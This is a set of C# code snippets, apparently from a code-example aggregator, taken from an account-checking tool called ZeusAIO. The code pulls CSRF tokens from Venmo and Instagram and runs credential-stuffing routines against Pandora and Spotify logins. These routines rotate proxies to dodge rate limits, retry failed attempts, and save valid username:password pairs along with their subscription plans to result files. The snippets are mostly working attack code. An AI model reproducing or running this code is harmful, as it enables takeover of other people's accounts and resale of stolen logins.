Пример #1
0
        static string VenmoGetCSRF(ref CookieStorage cookies)
        {
            while (true)
            {
                try
                {
                    using (HttpRequest req = new HttpRequest())
                    {
                        SetBasicRequestSettingsAndProxies(req);

                        cookies       = new CookieStorage();
                        req.Cookies   = cookies;
                        req.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36";

                        req.Post(new Uri("https://api.venmo.com/v1/oauth/access_token"), "{}", "application/json").ToString();


                        return(cookies.GetCookies("https://api.venmo.com/")["csrftoken2"].Value);
                    }
                }
                catch
                {
                    ZeusAIO.mainmenu.errors++;
                }
            }
            return("");
        }
Пример #2
0
        private static string InstagramGetCSRF(ref CookieStorage cookies)
        {
            while (true)
            {
                try
                {
                    using (var req = new HttpRequest())
                    {
                        switch (Program.ProxyType1)
                        {
                        case "HTTP":
                            req.Proxy = HttpProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                            req.Proxy.ConnectTimeout = 5000;
                            break;

                        case "SOCKS4":
                            req.Proxy = Socks4ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                            req.Proxy.ConnectTimeout = 5000;
                            break;

                        case "SOCKS5":
                            req.Proxy = Socks5ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                            req.Proxy.ConnectTimeout = 5000;
                            break;
                        }

                        req.IgnoreProtocolErrors = true;
                        req.AllowAutoRedirect    = false;

                        cookies       = new CookieStorage();
                        req.Cookies   = cookies;
                        req.UserAgent =
                            "Instagram 25.0.0.26.136 Android (24/7.0; 480dpi; 1080x1920; samsung; SM-J730F; j7y17lte; samsungexynos7870)";

                        var strResponse = req.Get(new Uri("https://i.instagram.com/api/v1/accounts/login/")).ToString();

                        return(cookies.GetCookies("https://i.instagram.com")["csrftoken"].Value);
                    }
                }
                catch
                {
                    Program.Errors++;
                }
            }

            return("");
        }
Пример #3
0
        private static string VenmoGetCSRF(ref CookieStorage cookies)
        {
            while (true)
            {
                try
                {
                    using (var req = new HttpRequest())
                    {
                        switch (Program.ProxyType1)
                        {
                        case "HTTP":
                            req.Proxy = HttpProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                            req.Proxy.ConnectTimeout = 5000;
                            break;

                        case "SOCKS4":
                            req.Proxy = Socks4ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                            req.Proxy.ConnectTimeout = 5000;
                            break;

                        case "SOCKS5":
                            req.Proxy = Socks5ProxyClient.Parse(Program.Proxies[Program.Proxyindex]);
                            req.Proxy.ConnectTimeout = 5000;
                            break;
                        }

                        cookies       = new CookieStorage();
                        req.Cookies   = cookies;
                        req.UserAgent =
                            "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/80.0.3987.149 Safari/537.36";

                        req.Post(new Uri("https://api.venmo.com/v1/oauth/access_token"), "{}", "application/json")
                        .ToString();

                        return(cookies.GetCookies("https://api.venmo.com/")["csrftoken2"].Value);
                    }
                }
                catch
                {
                    Program.Errors++;
                }
            }

            return("");
        }
Пример #4
0
        static string InstagramGetCSRF(ref CookieStorage cookies)
        {
            while (true)
            {
                try
                {
                    using (HttpRequest httpRequest = new HttpRequest())
                    {
                        string proxy = ZeusAIO.mainmenu.proxies.ElementAt(new Random().Next(ZeusAIO.mainmenu.proxiesCount));
                        if (ZeusAIO.mainmenu.proxyProtocol == "HTTP")
                        {
                            httpRequest.Proxy = HttpProxyClient.Parse(proxy);
                        }
                        if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS4")
                        {
                            httpRequest.Proxy = Socks4ProxyClient.Parse(proxy);
                        }
                        if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS5")
                        {
                            httpRequest.Proxy = Socks5ProxyClient.Parse(proxy);
                        }
                        httpRequest.IgnoreProtocolErrors = true;
                        httpRequest.AllowAutoRedirect    = false;

                        cookies               = new CookieStorage();
                        httpRequest.Cookies   = cookies;
                        httpRequest.UserAgent = "Instagram 25.0.0.26.136 Android (24/7.0; 480dpi; 1080x1920; samsung; SM-J730F; j7y17lte; samsungexynos7870)";

                        string strResponse = httpRequest.Get(new Uri("https://i.instagram.com/api/v1/accounts/login/")).ToString();

                        return(cookies.GetCookies("https://i.instagram.com")["csrftoken"].Value);
                    }
                }
                catch
                {
                    ZeusAIO.mainmenu.errors++;
                }
            }
            return("");
        }
Пример #5
0
        public static bool CheckAccount(string[] s, string proxy)
        {
            for (int i = 0; i < Config.config.Retries + 1; i++)
            {
                while (true)
                {
                    try
                    {
Retry:
                        using (HttpRequest req = new HttpRequest())
                        {
                            proxy = ZeusAIO.mainmenu.proxies.ElementAt(new Random().Next(ZeusAIO.mainmenu.proxiesCount));
                            if (ZeusAIO.mainmenu.proxyProtocol == "HTTP")
                            {
                                req.Proxy = HttpProxyClient.Parse(proxy);
                            }
                            if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS4")
                            {
                                req.Proxy = Socks4ProxyClient.Parse(proxy);
                            }
                            if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS5")
                            {
                                req.Proxy = Socks5ProxyClient.Parse(proxy);
                            }
                            req.IgnoreProtocolErrors            = true;
                            req.AllowAutoRedirect               = false;
                            req.SslCertificateValidatorCallback = (RemoteCertificateValidationCallback)Delegate.Combine(req.SslCertificateValidatorCallback,
                                                                                                                        new RemoteCertificateValidationCallback((object obj, X509Certificate cert, X509Chain ssl, SslPolicyErrors error) => (cert as X509Certificate2).Verify()));
                            req.AddHeader("User-Agent", "Mozilla/5.0 (Windows NT 10.0; WOW64; Trident/7.0; rv:11.0) like Gecko");
                            req.AddHeader("Pragma", "no-cache");
                            req.AddHeader("Accept", "*/*");
                            CookieStorage cookies = new CookieStorage();
                            string        csrf    = cookies.GetCookies("https://www.pandora.com/account/sign-in")["csrftoken"].Value;
                            Console.WriteLine(csrf);
                            req.AddHeader("accept", "application/json, text/plain, */*");
                            req.AddHeader("accept-encoding", "gzip, deflate, br");
                            req.AddHeader("accept-language", "en-US,en;q=0.9");
                            req.AddHeader("content-length", "98");
                            req.AddHeader("content-type", "application/json");
                            req.AddHeader("cookie", "csrftoken=" + csrf + ";");
                            req.AddHeader("origin", "https://www.pandora.com");
                            req.AddHeader("referer", "https://www.pandora.com/account/sign-in");
                            req.AddHeader("sec-fetch-dest", "empty");
                            req.AddHeader("sec-fetch-mode", "cors");
                            req.AddHeader("sec-fetch-site", "same-origin");
                            req.AddHeader("user-agent", "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/86.0.4240.193 Safari/537.36");
                            req.AddHeader("x-csrftoken", "" + csrf + "");

                            var    res1  = req.Post("https://www.pandora.com/api/v1/auth/login", "{\"existingAuthToken\":null,\"username\":\"" + s[0] + "\",\"password\":\"" + s[1] + "\",\"keepLoggedIn\":true}", "application/json");
                            string text1 = res1.ToString();

                            if (text1.Contains("authToken"))
                            {
                                var Plan = Functions.LR(text1, "branding\":\"", "\"").FirstOrDefault();
                                if (Plan == "Pandora")
                                {
                                    ZeusAIO.mainmenu.frees++;
                                    if (Config.config.LogorCui == "2")
                                    {
                                        Console.WriteLine("[FREE - PANDORA] " + s[0] + ":" + s[1], Color.OrangeRed);
                                    }
                                    Export.AsResult("/Pandora_frees", s[0] + ":" + s[1]);
                                    return(false);
                                }
                                else
                                {
                                    ZeusAIO.mainmenu.hits++;
                                    if (Config.config.LogorCui == "2")
                                    {
                                        Console.WriteLine("[HIT - PANDORA] " + s[0] + ":" + s[1] + " | Plan: " + Plan, Color.Green);
                                    }
                                    Export.AsResult("/Pandora_hits", s[0] + ":" + s[1] + " | Plan: " + Plan);
                                    return(false);
                                }
                            }
                            else if (text1.Contains("AUTH_INVALID_USERNAME_PASSWORD"))
                            {
                                break; //bad
                            }
                            else
                            {
                                ZeusAIO.mainmenu.realretries++;
                                goto Retry;
                            }
                        }
                    }
                    catch (Exception ex)
                    {
                        ZeusAIO.mainmenu.errors++;
                    }
                }
            }
            return(false);
        }
Пример #6
0
        public static bool CheckAccount(string[] s, string proxy)
        {
            for (int i = 0; i < Config.config.Retries + 1; i++)
            {
                while (true)
                {
                    try
                    {
Retry:
                        using (HttpRequest req = new HttpRequest())
                        {
                            proxy = ZeusAIO.mainmenu.proxies.ElementAt(new Random().Next(ZeusAIO.mainmenu.proxiesCount));
                            if (ZeusAIO.mainmenu.proxyProtocol == "HTTP")
                            {
                                req.Proxy = HttpProxyClient.Parse(proxy);
                            }
                            if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS4")
                            {
                                req.Proxy = Socks4ProxyClient.Parse(proxy);
                            }
                            if (ZeusAIO.mainmenu.proxyProtocol == "SOCKS5")
                            {
                                req.Proxy = Socks5ProxyClient.Parse(proxy);
                            }

                            CookieStorage cookies     = new CookieStorage();
                            string        captchaResp = SpotifyGetCSRF(ref cookies, req.Proxy);

                            if (captchaResp == "")
                            {
                                ZeusAIO.mainmenu.errors++;
                                continue;
                            }

                            string csrf = cookies.GetCookies("https://accounts.spotify.com")["csrf_token"].Value;

                            req.Cookies   = cookies;
                            req.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36";
                            req.AddHeader("Content-Type", "application/x-www-form-urlencoded");
                            req.AddHeader("Accept", "text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8");
                            //req.AddHeader("Cookie", "__bon=MHwwfC0yODU4Nzc4NjN8LTEyMDA2ODcwMjQ2fDF8MXwxfDE=;");
                            cookies.Add(new System.Net.Cookie("__bon", "MHwwfC0yODU4Nzc4NjN8LTEyMDA2ODcwMjQ2fDF8MXwxfDE=", "/", "accounts.spotify.com"));
                            req.Cookies = cookies;
                            req.Referer = "https://accounts.spotify.com/en/login/?continue=https:%2F%2Fwww.spotify.com%2Fapi%2Fgrowth%2Fl2l-redirect&_locale=en-AE";


                            HttpResponse res         = req.Post(new Uri("https://accounts.spotify.com/login/password"), new BytesContent(Encoding.Default.GetBytes($"remember=true&continue=https%3A%2F%2Fwww.spotify.com%2Fapi%2Fgrowth%2Fl2l-redirect&username={s[0]}&password={s[1]}&recaptchaToken={captchaResp}&csrf_token={csrf}")));
                            string       strResponse = res.ToString();
                            if (strResponse.Contains("\"result\":\"ok\""))
                            {
                                string capture = "";

                                for (int i2 = 0; i2 < 4 + 1; i2++)
                                {
                                    capture = SpotifyGetCaptures(cookies);
                                    if (capture != "")
                                    {
                                        break;
                                    }
                                }

                                if (capture == "")
                                {
                                    ZeusAIO.mainmenu.hits++;
                                    if (Config.config.LogorCui == "2")
                                    {
                                        Console.WriteLine("[HIT - SPOTIFY] " + s[0] + ":" + s[1] + " | Capture Failed", Color.Green);
                                    }
                                    Export.AsResult("/Spotify_hits", s[0] + ":" + s[1] + " | Capture Failed");
                                    return(false);
                                }
                                ZeusAIO.mainmenu.hits++;
                                if (Config.config.LogorCui == "2")
                                {
                                    Console.WriteLine("[HIT - SPOTIFY] " + s[0] + ":" + s[1] + " | " + capture, Color.Green);
                                }
                                Export.AsResult("/Spotify_hits", s[0] + ":" + s[1] + " | " + capture);
                                return(false);
                            }
                            else if (strResponse.Contains("{\"error\":\"errorInvalidCredentials\"}"))
                            {
                                break;
                            }
                            else
                            {
                                ZeusAIO.mainmenu.realretries++;
                                goto Retry;
                            }
                        }
                    }
                    catch (Exception e)
                    {
                        ZeusAIO.mainmenu.errors++;
                    }
                }
            }
            return(false);
        }